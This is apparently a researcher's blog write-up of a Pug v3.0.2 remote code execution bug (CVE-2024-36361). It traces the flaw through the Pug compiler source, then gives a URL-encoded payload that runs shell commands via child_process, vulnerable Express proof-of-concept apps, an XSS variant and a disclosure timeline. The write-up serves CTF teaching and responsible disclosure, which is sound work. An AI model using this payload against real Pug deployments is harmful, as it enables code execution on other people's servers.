Pug v3.0.2 RCE (CVE-2024-36361)

samuzora

This is the story of how I almost made a zero-day for a CTF challenge, and how it subsequently became my first-ever CVE, CVE-2024-36361.

Conception

It was just slightly more than 2 weeks before HACK@AC 2024. I had spent most of my time fixing the CTF platform and making sure it was ready for the competition, and was desperate for a more difficult web chall (the hardest we had was a Docker internal network SSRF challenge - and we had about 5 easy ones at that point). I preferably wanted something with RCE too, since all the other challs weren’t RCE.

Passing user input into the options object of JS templating engines has always had a super large attack surface, which makes it really fun to exploit. I first took a look at EJS, but after a while changed my mind because it was overdone and also fairly well-patched.

Then I took a look at Pug, which I haven’t really seen many novel exploits for besides the pretty exploit. To find something new and that didn’t have a PoC online that participants could just copy to cheese the challenge, I had to read the source code very carefully.

Pug stuff

Anytime Pug is compiled to JavaScript, the Pug source is eventually passed to Compiler.compile through generateCode:

function generateCode(ast, options) {
return new Compiler(ast, options).compile();
}

Because of this, most of the potential injections will occur in the Compiler class, so I had to read it extra carefully.

In Compiler.compile, the first option that I found that was injected so-called unsafely was options.includeSources:

if (this.debug) {
if (this.options.includeSources) {
js =
'var pug_debug_sources = ' +
stringify(this.options.includeSources) +
';\n' +
js;
}
js =
'var pug_debug_filename, pug_debug_line;' +
'try {' +
js +
'} catch (err) {' +
(this.inlineRuntimeFunctions ? 'pug_rethrow' : 'pug.rethrow') +
'(err, pug_debug_filename, pug_debug_line' +
(this.options.includeSources
? ', pug_debug_sources[pug_debug_filename]'
: '') +
');' +
'}';
}

This looked really promising! The variable this.debug is set in the following line:

this.debug = false !== options.compileDebug;

All I need to do is to make options.compileDebug something other than false, and also supply options.includeSources to escape the pug_debug_sources variable, getting my RCE!

However, my hopes were dashed when I went to the actual call of generateCode in compileBody:

var js = (findReplacementFunc(plugins, 'generateCode') || generateCode)(ast, {
pretty: options.pretty,
compileDebug: options.compileDebug,
doctype: options.doctype,
inlineRuntimeFunctions: options.inlineRuntimeFunctions,
globals: options.globals,
self: options.self,
includeSources: options.includeSources ? debug_sources : false,
templateName: options.templateName,
});

options.includeSources is set to a boolean value, so I can’t put arbitrary code in it, killing my exploit idea completely. Disappointed, but still faced with the very real need to make a challenge before the deadline, I continued reading the code. Then, this next line caught my attention:

return (
buildRuntime(this.runtimeFunctionsUsed) +
'function ' +
(this.options.templateName || 'template') +
'(locals) {var pug_html = "", pug_mixins = {}, pug_interp;' +
js +
';return pug_html;}'
);

After being run, this bit of the compiled JS becomes something like

function template(locals) {var pug_html = "", pug_mixins = {}, pug_interp;}

If we can set options.templateName, we can possibly change it to something containing spaces or other characters that don’t form a valid JS identifier and can break the parsing. For example, if templateName is "asdf(){}; console.log('hi'); //", then the compiled code would be

function asdf(){}; console.log('hi'); //(locals) {var pug_html = "", pug_mixins = {}, pug_interp;}

One small problem - we can’t control options.templateName either. Going up the call stack to exports.compile, I realized that options.templateName is always set to template.

var parsed = compileBody(str, {
compileDebug: options.compileDebug !== false,
filename: options.filename,
basedir: options.basedir,
pretty: options.pretty,
doctype: options.doctype,
inlineRuntimeFunctions: options.inlineRuntimeFunctions,
globals: options.globals,
self: options.self,
includeSources: options.compileDebug === true,
debug: options.debug,
templateName: 'template',
filters: options.filters,
filterOptions: options.filterOptions,
filterAliases: options.filterAliases,
plugins: options.plugins,
});

At this point, I was really running out of time. Since the main issue stopping the exploit was in exports.compile, I thought: why not just bypass the export and call compileBody directly?

So, in the original challenge, that’s exactly what I did. I copied the Pug source code over and rendered the output using the unexported function compileBody, and it worked like a charm! Done and satisfied with my web challenge, I moved on to doing some vetting for the other challs.


(for HACK@AC participants that want the writeup for Puggers)

Challenge writeup

This is the source code for the challenge:

const express = require("express")
const pug = require("./pug.js")
const runtimeWrap = require('pug-runtime/wrap');
const fs = require("fs")

const PORT = 3000

const app = express()

app.get("/", (req, res) => {
const data = req.query
const template = fs.readFileSync("./views/index.pug").toString()
const out = runtimeWrap(pug.compileBody(template, data).body)(data)
res.send(out)
})

app.listen(PORT, () => {
console.log(`Server is running on port ${PORT}`)
})

req.query is passed to compileBody options, so the user can control the options parameter. Based on the above analysis, this is the payload:

template() { return global.process.mainModule.require("child_process").execSync("cat flag.txt").toString() } function asdf

URL encode it and set it as the templateName query parameter:

.../?templateName=template()%20%7B%20return%20global.process.mainModule.require(%22child_process%22).execSync(%22cat%20flag.txt%22).toString()%20%7D%20function%20asdf

ACSI{pug_rc3_i5_n0t_p0ggers}


OK back to the CVE!

Post HACK@AC

A while after HACK@AC (it wasn’t solved during the CTF), OwOverflow managed to solve it.

He subsequently messaged me on Discord and asked me if he can open a PR on the Pug repo to implement checks on templateName so that the exploit wouldn’t work anymore. At that time, I didn’t think this was a valid vulnerability as I had to expose unexported functions to make the exploit work, but he was convinced it was a vuln. Anyway, no harm patching it to be extra-safe right? So I gave him the go-ahead.

The patch was quite simple - just implement a regex check /^[0-9a-zA-Z\_]+?$/ to make sure templateName is a valid JS identifier. The PR was made on 26 Feb (https://github.com/pugjs/pug/pull/3428), and approved but not merged for a period of time.

Turning into a CVE

Fast forward 3 months later, I was done with most of my school graded projects and had a bit of time on my hands.

I was bored and wanted to see what progress the PR had made. Surprisingly, it was still sitting there and not merged.

Seeing that the last commit to main was more than 3 years ago, I thought there was a non-zero chance the project was already abandoned. So I decided to take another look at the codebase.

First, I wanted to check if the vector for options.includeSources was truly unexploitable. Taking a closer look, I saw that options.includeSources is not actually being passed to generateCode - instead, if options.includeSources === true, then it passes debug_sources in. (really confusing naming but sure)

function compileBody(str, options) {
var debug_sources = {};
debug_sources[options.filename] = str;
// ...
var js = (findReplacementFunc(plugins, 'generateCode') || generateCode)(ast, {
pretty: options.pretty,
compileDebug: options.compileDebug,
doctype: options.doctype,
inlineRuntimeFunctions: options.inlineRuntimeFunctions,
globals: options.globals,
self: options.self,
includeSources: options.includeSources ? debug_sources : false,
templateName: options.templateName,
});

The key of debug_sources can be controlled by options.filename, as shown above! And in exports.compile, options.filename can be controlled by the attacker, so this seems like a valid exploit path!

TLDR it didn’t work in the end, because options.includeSources is passed to stringify first, which escapes the quotes and makes it impossible to escape the syntax. (I should have noticed this way earlier)

Then I turned back to the templateName vector.

I decided to search for all instances of templateName in the repo (which wasn’t a lot) and found a less-used set of functions, the compileClient family of functions. The main function is compileClientWithDependenciesTracked, which compileClient and compileFileClient implements a wrapper over.

In compileClientWithDependenciesTracked:

exports.compileClientWithDependenciesTracked = function(str, options) {
var options = options || {};

str = String(str);
var parsed = compileBody(str, {
compileDebug: options.compileDebug,
filename: options.filename,
basedir: options.basedir,
pretty: options.pretty,
doctype: options.doctype,
inlineRuntimeFunctions: options.inlineRuntimeFunctions !== false,
globals: options.globals,
self: options.self,
includeSources: options.compileDebug,
debug: options.debug,
templateName: options.name || 'template',
filters: options.filters,
filterOptions: options.filterOptions,
filterAliases: options.filterAliases,
plugins: options.plugins,
});

options.name is being passed directly to templateName! Afterwards, no further checks are done in compileBody to ensure that options.templateName is a valid JS identifier , meaning we can break out of the template function name and inject arbitrary JS!

For reference, this is the compiled string we want to target:

function template(locals) {var pug_html = "", pug_mixins = {}, pug_interp;}

Excited, I began to write a PoC. While writing, I soon realized that this usage of compileClient was very unconventional - would you really see something like this in real-world code?

const express = require("express")
const pug = require("pug")
const runtimeWrap = require('pug-runtime/wrap');

const PORT = 3000

const app = express()

app.get("/", (req, res) => {
const out = runtimeWrap(pug.compileClient('string of pug', req.query))
res.send(out())
})

app.listen(PORT, () => {
console.log(`Server is running on port ${PORT}`)
})

Nevertheless, this PoC worked and I was able to get RCE, with the same payload as the solution to the challenge I set for HACK@AC (just changing templateName to name). Since the exploit required the use of compileClient, the compiled JS code may also be sent to client side and evaled, thus leading to XSS too. This is the PoC for XSS (slightly longer than for RCE):

const express = require("express")
const pug = require("pug")

const PORT = 3000

const app = express()
app.use(express.json())

app.get("/", (req, res) => {
const html = `
<html>
<body>
<script>
var body = Object.fromEntries(new URLSearchParams(window.location.search))
fetch("/compileClient", {
method: "post",
body: JSON.stringify(body),
headers: {
"Content-Type": "application/json"
}
})
.then(res => res.text())
.then(c => eval(c))
</script>
</body>
</html>
`
res.send(html)
})

app.post("/compileClient", (req, res) => {
const out = pug.compileClient("string of pug", req.body)
res.send(out)
})

app.listen(PORT, () => {
console.log(`Server is running on port ${PORT}`)
})

As noted earlier, the scope for this templateName vector is more restricted, because it is unlikely for user input to be passed into compileClient. Nonetheless, I left my findings on a comment in the PR, and also sent a separate report to their security contact, who responded really quickly!

Less than 2 weeks later, the patch was released and CVE-2024-36361 was assigned to the vuln. At the time of writing, the vuln is still under dispute, because of the contentious and impractical usage of the compileClient functions required for the exploit to be feasible.

Timeline

  • First discovery: Mid Feb 2024
  • PR with patch opened: Late Feb 2024
  • Re-discovery with legitimate exploit path: 14th May 2024
  • Maintainers contacted: 14th May 2024
  • Reported to security contact: 17th May 2024
  • CVE-2024-36361 assigned: 24th May 2024
  • Patch released: 24th May 2024

Thanks to Tidelift and the Pug maintainer ForbesLindesay for a smooth and quick process from report to patch!

Comments